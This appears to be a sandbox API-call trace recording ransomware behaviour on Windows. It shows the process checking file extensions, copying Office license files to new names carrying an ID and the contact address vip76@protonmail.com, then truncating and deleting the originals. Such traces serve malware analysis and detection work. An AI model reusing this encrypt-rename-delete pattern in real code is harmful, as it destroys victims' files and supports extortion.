	[0193.390] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0193.390] lstrlenW (lpString=".dbf") returned 4
	[0193.391] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0193.391] lstrlenW (lpString=".1cd") returned 4
	[0193.391] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75
	[0193.391] lstrlenW (lpString=".jpg") returned 4
	[0193.391] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.391] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0193.391] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 42
	[0193.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0193.392] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11219) returned 1
	[0193.392] CloseHandle (hObject=0x5ac) returned 1
	[0193.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0193.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0193.394] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.394] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0193.395] GetLastError () returned 0x0
	[0193.395] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2bd3, lpOverlapped=0x0) returned 1
	[0193.397] WriteFile (in: hFile=0x5c0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2be0, lpOverlapped=0x0) returned 1
	[0193.398] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.398] WriteFile (in: hFile=0x5c0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x128, lpOverlapped=0x0) returned 1
	[0193.398] SetEndOfFile (hFile=0x5c0) returned 1
	[0193.399] CloseHandle (hObject=0x5c0) returned 1
	[0193.399] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.399] SetEndOfFile (hFile=0x5ac) returned 1
	[0193.874] CloseHandle (hObject=0x5ac) returned 1
	[0193.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 1
	[0193.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0193.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0193.878] lstrlenW (lpString=".doc") returned 4
	[0193.878] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.878] lstrlenW (lpString=".docx") returned 5
	[0193.878] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.878] lstrlenW (lpString=".pdf") returned 4
	[0193.878] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.879] lstrlenW (lpString=".xls") returned 4
	[0193.879] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.879] lstrlenW (lpString=".xlsx") returned 5
	[0193.879] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.879] lstrlenW (lpString=".ppt") returned 4
	[0193.879] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0193.879] lstrlenW (lpString=".zip") returned 4
	[0193.879] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.879] lstrlenW (lpString=".rar") returned 4
	[0193.879] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.879] lstrlenW (lpString=".bz2") returned 4
	[0193.879] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.879] lstrlenW (lpString=".7z") returned 3
	[0193.879] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0193.879] lstrlenW (lpString=".dbf") returned 4
	[0193.879] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0193.879] lstrlenW (lpString=".1cd") returned 4
	[0193.879] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0193.879] lstrlenW (lpString=".jpg") returned 4
	[0193.879] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0193.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0193.879] lstrlenW (lpString=".doc") returned 4
	[0193.880] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.880] lstrlenW (lpString=".docx") returned 5
	[0193.880] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.880] lstrlenW (lpString=".pdf") returned 4
	[0193.880] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.880] lstrlenW (lpString=".xls") returned 4
	[0193.880] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.880] lstrlenW (lpString=".xlsx") returned 5
	[0193.880] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.880] lstrlenW (lpString=".ppt") returned 4
	[0193.880] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0193.880] lstrlenW (lpString=".zip") returned 4
	[0193.880] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.880] lstrlenW (lpString=".rar") returned 4
	[0193.880] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.880] lstrlenW (lpString=".bz2") returned 4
	[0193.880] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.880] lstrlenW (lpString=".7z") returned 3
	[0193.880] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0193.880] lstrlenW (lpString=".dbf") returned 4
	[0193.880] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0193.880] lstrlenW (lpString=".1cd") returned 4
	[0193.880] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0193.881] lstrlenW (lpString=".jpg") returned 4
	[0193.881] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.881] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0193.881] lstrlenW (lpString="HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 37
	[0193.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0193.882] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11644) returned 1
	[0193.882] CloseHandle (hObject=0x5ac) returned 1
	[0193.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 0x220
	[0193.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0193.883] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.883] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0193.884] GetLastError () returned 0x0
	[0193.884] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2d7c, lpOverlapped=0x0) returned 1
	[0193.886] WriteFile (in: hFile=0x590, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0193.887] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.888] WriteFile (in: hFile=0x590, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0193.888] SetEndOfFile (hFile=0x590) returned 1
	[0193.888] CloseHandle (hObject=0x590) returned 1
	[0193.888] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.888] SetEndOfFile (hFile=0x5ac) returned 1
	[0193.891] CloseHandle (hObject=0x5ac) returned 1
	[0193.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 1
	[0193.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0193.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0193.892] lstrlenW (lpString=".doc") returned 4
	[0193.892] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.892] lstrlenW (lpString=".docx") returned 5
	[0193.892] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.892] lstrlenW (lpString=".pdf") returned 4
	[0193.892] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.892] lstrlenW (lpString=".xls") returned 4
	[0193.892] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.892] lstrlenW (lpString=".xlsx") returned 5
	[0193.892] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.892] lstrlenW (lpString=".ppt") returned 4
	[0193.893] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0193.893] lstrlenW (lpString=".zip") returned 4
	[0193.893] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.893] lstrlenW (lpString=".rar") returned 4
	[0193.893] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.893] lstrlenW (lpString=".bz2") returned 4
	[0193.893] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.893] lstrlenW (lpString=".7z") returned 3
	[0193.894] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0193.894] lstrlenW (lpString=".dbf") returned 4
	[0193.894] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0193.894] lstrlenW (lpString=".1cd") returned 4
	[0193.894] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0193.894] lstrlenW (lpString=".jpg") returned 4
	[0193.894] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0193.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0193.894] lstrlenW (lpString=".doc") returned 4
	[0193.894] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.894] lstrlenW (lpString=".docx") returned 5
	[0193.894] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.894] lstrlenW (lpString=".pdf") returned 4
	[0193.894] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.894] lstrlenW (lpString=".xls") returned 4
	[0193.894] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.894] lstrlenW (lpString=".xlsx") returned 5
	[0193.894] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.894] lstrlenW (lpString=".ppt") returned 4
	[0193.894] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0193.894] lstrlenW (lpString=".zip") returned 4
	[0193.895] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.895] lstrlenW (lpString=".rar") returned 4
	[0193.895] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.895] lstrlenW (lpString=".bz2") returned 4
	[0193.895] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.895] lstrlenW (lpString=".7z") returned 3
	[0193.895] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0193.895] lstrlenW (lpString=".dbf") returned 4
	[0193.895] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0193.895] lstrlenW (lpString=".1cd") returned 4
	[0193.895] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87
	[0193.895] lstrlenW (lpString=".jpg") returned 4
	[0193.895] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.895] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0193.895] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 36
	[0193.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0193.896] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=10679) returned 1
	[0193.896] CloseHandle (hObject=0x5ac) returned 1
	[0193.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 0x220
	[0193.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0193.897] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.897] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0193.898] GetLastError () returned 0x0
	[0193.898] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x29b7, lpOverlapped=0x0) returned 1
	[0193.900] WriteFile (in: hFile=0x590, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x29c0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x29c0, lpOverlapped=0x0) returned 1
	[0193.901] ReadFile (in: hFile=0x5ac, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.901] WriteFile (in: hFile=0x590, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x11c, lpOverlapped=0x0) returned 1
	[0193.901] SetEndOfFile (hFile=0x590) returned 1
	[0193.901] CloseHandle (hObject=0x590) returned 1
	[0193.901] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.901] SetEndOfFile (hFile=0x5ac) returned 1
	[0193.905] CloseHandle (hObject=0x5ac) returned 1
	[0193.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 1
	[0193.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0193.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0193.907] lstrlenW (lpString=".doc") returned 4
	[0193.907] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.907] lstrlenW (lpString=".docx") returned 5
	[0193.907] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.907] lstrlenW (lpString=".pdf") returned 4
	[0193.907] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.907] lstrlenW (lpString=".xls") returned 4
	[0193.907] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.907] lstrlenW (lpString=".xlsx") returned 5
	[0193.907] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.907] lstrlenW (lpString=".ppt") returned 4
	[0193.907] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0193.907] lstrlenW (lpString=".zip") returned 4
	[0193.907] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.907] lstrlenW (lpString=".rar") returned 4
	[0193.907] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.907] lstrlenW (lpString=".bz2") returned 4
	[0193.908] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.908] lstrlenW (lpString=".7z") returned 3
	[0193.908] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0193.908] lstrlenW (lpString=".dbf") returned 4
	[0193.908] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86
	[0193.908] lstrlenW (lpString=".1cd") returned 4
	[0193.908] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
